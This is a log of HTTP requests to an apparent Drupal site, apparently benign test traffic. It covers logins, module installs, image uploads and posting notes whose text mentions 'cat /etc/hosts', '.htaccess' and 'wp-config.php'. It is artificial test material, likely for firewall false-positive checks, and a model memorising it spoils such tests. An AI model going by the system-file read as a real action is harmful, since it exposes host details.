{"method": "GET", "target": "/node/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/revisions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/taxonomy/term/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3+tutorial&type=All&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-wNgbewUygC9ULMoc4WLVpiOljzg8b-UFbevQU1lKKvE&form_token=PQZYrhskFDg3-YXEJlI1LMqcsi5g2Caq1winJy1aiTc&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-PFgoUZSU-B2s6Yi6wsv6gMF8hyctFZ4jGpnB1KbbKuc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&form_build_id=form-Go6Ty-vaNH5prRcXZPri8UInSJEfkCpFomJ5z7FIJeA&form_token=dpSXO0ij0wI2RSPBdwAf24WP27sJX5XdMsyNckiHRYQ&form_id=system_modules&op=Install"}
|
||||
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-kZj8LFAOUYdKbamTIGwQWGeUPyZ9Pl_o7NMqCuQgRNA&form_token=U9cEhbE1Jq8CgS_JsoF1uTGkum0lp1R9dR05PQpXVIk&form_id=jsonapi_settings&op=Save+configuration"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dcomment%3Alocation%3Dpage%26name%3Dcomment%26display_id%3Dpage_published%26langcode%3Den&tokens%5B%5D=tJYB9Yp9K7KoqCw51MrweOw1EWlIhkKnWWiqWfZwOBk"}
|
||||
{"method": "POST", "target": "/admin/structure/menu/parents", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/types/manage/article", "Cookie: SESSexample=example-session-value"], "body": "menus%5B%5D=main"}
|
||||
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-YRTiLLJme3R_EAzYjDmEPFge7ba8Rqcr0e4ufPocUHA&form_token=aoWE2rnl7MeEF8CixG6jr69agDcL4EYtVBLeif_2MmI&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
|
||||
{"method": "POST", "target": "/ckeditor5/upload-image/basic_html?token=Sus-IXsV0UwqrRe2_CrWc-iHgk_6pDumClZIZ6i-Wu0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Accept: application/json", "0: text/javascript", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcXJMZbPBLzalDiX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryAcXJMZbPBLzalDiX\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundaryAcXJMZbPBLzalDiX--\r\n"}
|
||||
{"method": "POST", "target": "/node/add/article?element_parents=field_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ba7aU6AsCP0MAhK", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-LT5Y5U-7qf8iSfEX4mtEU7w-26XnFEmjxTB6AGmAKpw\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"files[field_image_0]\"; filename=\"python3-diagram.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_image_0_upload_button\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJyNU0luwzAM_JBln_qBAsmpQJ8Q0Aptq6FERaLSJq-vVG9ZevDJ5HA4JEdwa_qDNx6bdgoqfcKjEQ5vjXGCwQHVx5B8_iyVLZxa8xHfifVpExutHyCauIk8iKWd643btG1tLPTbmAItZSZB4KbjYJV8s9JMybo4wT1xC6SiXMm4vtJsLTppZqkxzXCe8SMJaK3MLine truncated
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/python3-diagram.png.avif?itok=Oi6kqsz7", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=docker-compose.yml", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys6Wog4PIiyr6c8nk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-GIwPSC0mk5OfJnBDDPrIGJXA59_fo-i-i4rc6hLJ2zo\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3, powershell, docker-compose.yml\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/wide/public/2026-11/python3-diagram.png.avif?itok=zatrIDi8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=P1IJAagXdZ3uwIjUq2LBL0UYnJGTwcH1OA3KvfqFqg4"}
|
||||
{"method": "POST", "target": "/node/add/page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/page", "Cookie: SESSexample=example-session-value"], "body": "title%5B0%5D%5Bvalue%5D=About+.htaccess+files&changed=1794214659&form_build_id=form-LaoMm59z_hyaytPZGp-adyYwJZGmbXRc7440YWGi8Do&form_token=H47HAbieKRgy6mosBoIwM8QZMBUCGpYRpFnf7HpzKDg&form_id=node_page_form&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=%3Cp%3EPlain+words+about+.htaccess+and+wp-config.php.%3C%2Fp%3E&body%5B0%5D%5Bformat%5D=basic_html&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=08%3A57%3A39&status%5Bvalue%5D=1&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/2", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D2%3Achanged%3D1794214661%26langcode%3Den&tokens%5B%5D=9yhNCr_Hp4HSQvBSBYBWNCSG8ryM0kTuFsj7JELWqS0"}
|
||||
{"method": "POST", "target": "/node/1/edit", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfBvrh6e5Bo80VnMG", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1/edit", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214658\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-YOV6ivVNUPhhYH59NVKyp3pCw7S5FRZ-MpqVk7Tekkw\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nRtIgLequzuSUKJ0eJYfweZtDlUU-P2Qm0dliQmbROBI\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_edit_form\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; 